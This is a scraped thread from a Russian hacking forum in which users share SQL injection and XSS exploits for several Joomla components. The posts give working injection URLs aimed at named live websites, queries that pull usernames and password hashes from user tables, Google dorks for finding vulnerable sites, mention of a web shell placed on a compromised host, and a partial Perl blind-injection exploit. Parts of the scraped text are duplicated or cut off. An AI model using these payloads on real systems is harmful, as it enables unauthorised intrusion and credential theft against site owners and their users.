ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

23.03.2012, 20:33
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Joomla "com_rokmodule" component SQL Injection
Уязвим параметр moduleid, что позволяет провести SQL-injection.
Эксплyатация:
Код:
Code:
index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=[SQLblind]
PoC:
Код:
Code:
http://sdf.com.ua/index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=20+and+1=1&offset=_OFFSET_
true
Код:
Code:
http://sdf.com.ua/index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=20+and+1=1&offset=_OFFSET_
false
Уязвимый код:
components/com_rokmodule/rokmodule.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$module_name[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT DISTINCT * from #__modules where title='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$module_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]; }
else {
[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT DISTINCT * from #__modules where id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$module_id[/COLOR][COLOR="#007700"]; }[/COLOR][/COLOR]
|
|
|

24.03.2012, 08:32
|
|
Guest
Сообщений: n/a
Провел на форуме: 102354
Репутация:
267
|
|
Joomla "com_realty" component SQL Injection
Уязвим параметр id, что позволяет провести SQL-injection.
Эксплyатация:
Код:
Code:
http://site.ltd/?option=com_realty&Itemid=60&task=show_offer&id=-174+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25,26,27,concat_ws(0x3a,username,password,usertype,0x4861636b6564206279204572656565),29,30,31,32,33+from+jos_users+limit+0,1--+d
PoC:
Код:
Code:
http://expert-dubna.ru/?option=com_realty&Itemid=60&task=show_offer&id=-174+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25,26,27,concat_ws(0x3a,username,password,usertype,0x4861636b6564206279204572656565),29,30,31,32,33+from+jos_users+limit+0,1--+d
|
|
|
|

02.04.2012, 10:05
|
|
Guest
Сообщений: n/a
Провел на форуме: 30555
Репутация:
85
|
|
Сообщение от None
Исправление
Joomla "com_datsogallery" sqli
Сообщение от Osstudio
Osstudio said:
http://joomlaforum.ru/index.php?topic=33952.0;wap2
Плохое исправление, в если пофиксить сайт таким образом, sql inj не будет, но останется возможность sixss и вывод ошибки также не исчезнет
SIXSS PoC
Сообщение от None
http://www.lxphoto.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent:
alert(/xss/)
Для корректного исправления нужно добавить в предлагаемый код что-то вроде strip_tags, и error_reporting чтобы ошибки не выдавать:
Код:
Code:
error_reporting(0);
$browser = strip_tags($_SERVER['HTTP_USER_AGENT']);
$browser_tmp = ' '.strtoupper($browser);
if ((strpos($browser_tmp, 'SELECT')) or
(strpos($browser_tmp, 'DELETE')) or
(strpos($browser_tmp, 'UPDATE')) or
(strpos($browser_tmp, 'INSERT')) or
(strpos($browser_tmp, ' FROM ')) or
(strpos($browser_tmp, ' INTO ')) or
(strpos($browser_tmp, 'VALUES'))
) {
die('SQL-injection rejected.');
}
Сообщение от Expl0ited
Expl0ited said:
Я думаю лучше юзать скуль в данном случае.
Сообщение от None
GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'
Duplicate entry '5.0.26-log' for key 1
" if author else f"
Expl0ited said:
Я думаю лучше юзать скуль в данном случае.
Сообщение от None
GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'
Duplicate entry '5.0.26-log' for key 1
Или
Сообщение от None
GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla') on duplicate key update a=(select 1 from(select count(*),concat((select username from jos_users limit 0,1),floor(rand(0)*2)) x from jos_users group by x)a)-- -
Duplicate entry 'admin
1
' for key 1
На некоторых сайтах один из вариантов не работает
|
|
|
|

05.06.2012, 17:53
|
|
Участник форума
Регистрация: 27.08.2008
Сообщений: 209
Провел на форуме: 1759582
Репутация:
394
|
|
Joomla "com_realty" SQL-inj
Уязвимый параметр:
Код:
Code:
http://site.com/index.php?option=com_realty&act=detailed&ln=[SQL-inj]
Эксплуатация:
Код:
Code:
http://site.com/index.php?option=com_realty&act=detailed&ln=-99999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290--+
Замечание: 290 колонок. Простой скрипт, который подставит все колонки в url:
[PHP]
PHP:
[COLOR="#000000"][COLOR="#007700"]
|
|
|

05.06.2012, 19:13
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Сообщение от Skofield
Skofield said:
Joomla "com_realty" SQL-inj
/showpost.php?p=3077437&postcount=253
Дополнение к топику))
|
|
|

15.06.2012, 23:26
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Joomla "com_ponygallery" component SQL Injection
Захожу на сайт _ http://www.exploit-db.com и вижу в поиске последнеи сплоиты на джумлу
сам сплоит не выложен но сказано что найдена уязвимость в древнем компаненте com_ponygallery
_http://www.exploit-db.com/exploits/18741/
ищу по дорку в гугле " inurl:com_ponygallery"
нахожу уязвимый сайт и раскручиваю два уязвимых параметра...
один как sqli:
Сообщение от None
_http://judo.perm.ru/i
ndex.php?option=com_ponygallery&Itemid=131&func=de tail&id=-270'+union+select+1,2,version(),4,5,6,7,8,9,0,11,1 2,13,14+--+
Второй как Blind:
h
Сообщение от None
ttp://www.trexgorka.ru/
index.php?option=com_ponygallery&Itemid=131&func=v iewcategory&catid=1'+and+1=1+--+
TRUE
http://www.trexgorka.ru/
index.php?option=com_ponygallery&Itemid=131&func=v iewcategory&catid=1'+and+1=0+--+
FALSE
Просматриваю код компанента на залитом шеле и нахожу уязвимый пораметре файла sub_viewdetails.php:
Сообщение от None
$database->setQuery(
"SELECT c.access FROM #__ponygallery_catg as c" . "\n left join #__ponygallery as a on a.catid=c.cid"
. "\n WHERE a.id= '$id'" );
а чтоб защитить компанент от уязвимости достаточно было добавить функцию " intval()"
anti-boyan по antichat'у в гуглу: "site:forum.antichat.ru com_ponygallery"
|
|
|

20.06.2012, 00:43
|
|
Guest
Сообщений: n/a
Провел на форуме: 3814
Репутация:
0
|
|
Код:
Code:
============================================
Joomla! (Multiple) ExploiT
============================================
# Powered Joomla! 1.5 & All version Down (Multiple)
# Author: Mr.MLL
# Published: 2010-08-24
# Verified: yes
# Download Exploit Code
# Download N/A
===
# Software : http://www.joomla.org/download.html
# Vendor : http://www.joomla.org/
# Contact : Y-3@hotmail.com
===
logout();
// JS Popup message
if ( $message ) {
?>
=========
# ExploiT
http://127.0.0.1/path/index.php?option=cookiecheck&return=http://Google.com/
=========
# Thanks : milw0rm.com & exploit-db.com & offsec.com & inj3ct0r.com & www.hack0wn.com
exit ,, / Praise be to God for the blessing of Islam
какой толк от этой уязвимости?
|
|
|
|

19.07.2012, 12:32
|
|
Guest
Сообщений: n/a
Провел на форуме: 0
Репутация:
0
|
|
кто сталкивался с джумловской защитой от прямого доступа к файлам? там в index.php определяется переменная JEXEC = '1', а во всех остальных файлах идет проверка:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'_JEXEC'[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]'Restricted access'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// no direct access[/COLOR][/COLOR]
и соответственно при попытке изменить хоть на байт любой файл, код просто не прогружается.. все перекопал, но так и не понял что к чему..
есть у кого мысли как это обойти?
нужно сделать инклюд пхп файла в один файл шаблона, но эта самая защита не дает..
|
|
|
|

19.07.2012, 13:18
|
|
Guest
Сообщений: n/a
Провел на форуме: 102354
Репутация:
267
|
|
Сообщение от Mihanik
Mihanik said:
кто сталкивался с джумловской защитой от прямого доступа к файлам? там в index.php определяется переменная JEXEC = '1', а во всех остальных файлах идет проверка:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'_JEXEC'[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]'Restricted access'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// no direct access[/COLOR][/COLOR]
и соответственно при попытке изменить хоть на байт любой файл, код просто не прогружается.. все перекопал, но так и не понял что к чему..
есть у кого мысли как это обойти?
нужно сделать инклюд пхп файла в один файл шаблона, но эта самая защита не дает..
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//defined('_JEXEC') or die('Restricted access'); // no direct access[/COLOR][/COLOR]
|
|
|
|

21.09.2012, 07:19
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Joomla "com_sobi2" component SQL Injection
Уязвим параметр fid при установленом параметре sobi2Task=dd_download, что позволяет провести SQL-injection.
id - должен быть существующий.
Эксплyатация:
Код:
Code:
index2.php?option=com_sobi2&sobi2Task=dd_download&fid=[id][SQLblind]
PoC:
Код:
Code:
http://open-psa.org/joomla1.5/index2.php?option=com_sobi2&sobi2Task=dd_download&fid=3+and+1=1+--+
true
Код:
Code:
http://open-psa.org/joomla1.5/index2.php?option=com_sobi2&sobi2Task=dd_download&fid=3+and+1=0+--+
false
Дорк: "inurl:com_sobi2 fid"
Сообщение от None
Результатов: примерно 509 000
Уязвимый код:
com_sobi2/plugins/download/download.class.php
Сообщение от None
function downloadFile()
{
$config =& sobi2Config::getInstance();
$database =& $config->getDb();
$fid = sobi2Config::request($_REQUEST, "fid", 0);
if($fid) {
$query = "SELECT `filename`, `filetype`, `filesize`, `fileext`, `itemid` FROM `#__sobi2_plugin_download` WHERE `fid` =
{$fid}
AND `enabled` = 1";
$database->setQuery($query);
$file = null;
if( !$config->forceLegacy && class_exists( "JDatabase" ) ) {
$file = $database->loadObject();
}
else {
$database->loadObject( $file );
}
if( $database->getErrorNum() ) {
$config->logSobiError( "Download plugin. DB reports: ".$database->stderr() );
}
$query = "UPDATE `#__sobi2_plugin_download` SET `counter` = `counter` + 1 WHERE `fid` =
{$fid}
";
$database->setQuery($query);
$database->query();
}
else {
trigger_error("sobi_download::downloadFile(): missing file id",E_USER_WARNING);
return null;
}
if(!is_object($file)) {
trigger_error("sobi_download::downloadFile(): DB error ($query)",E_USER_WARNING);
return null;
}
$filePath = _SOBI_CMSROOT.DS.$this->directory.$file->itemid.DS.$file->filename;
if(!file_exists($filePath)) {
trigger_error("sobi_download::downloadFile(): file {$filePath} does not exist");
return null;
}
$fileType = $this->mapExtension($file->fileext);
ob_end_clean();
ob_start();
header("Content-Disposition: attachment; filename = \"{$file->filename}\"");
header("Content-Type: {$fileType}");
readfile($filePath);
exit();
}
Perl Exploit :
За основу был взят сплоит от сюда /showpost.php?p=755600&postcount=90
и переделан под данную уязвимость
Сообщение от None
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " \n";
print " ################################################## ##############\n";
print " # Joomla Component com_sobi2 Blind SQL Injection Exploit #\n";
print " # Author:winstrool #\n";
print " # #\n";
print " # Dork: inurl:com_sobi2 #\n";
print " # Usage: perl sobi2.pl host path #\n";
print " # Example: perl sobi2.pl www.host.com /joomla/ -t 11 #\n";
print " ################################################## ##############\n";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $tid = $ARGV[2];
my %options = ();
GetOptions(\%options, "p=s", "t=i");
print "[~] Exploiting...\n";
if($options{"t"})
{
$tid = $options{"t"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i new;
my $query = "http://".$host.$path."index2.php?option=com_sobi2&sobi2Ta sk=dd_download&fid=".$tid." and (SUBSTRING((SELECT concat_ws(0x3a,user(),version(),database())),".$i. ",1))=CHAR(".$h.")";
if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}
my $resp = $ua->get($query);
my $content = $resp->as_string;
if($content =~ /Disposition/)
{
return 1;
}
else
{
return 0;
}
}
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|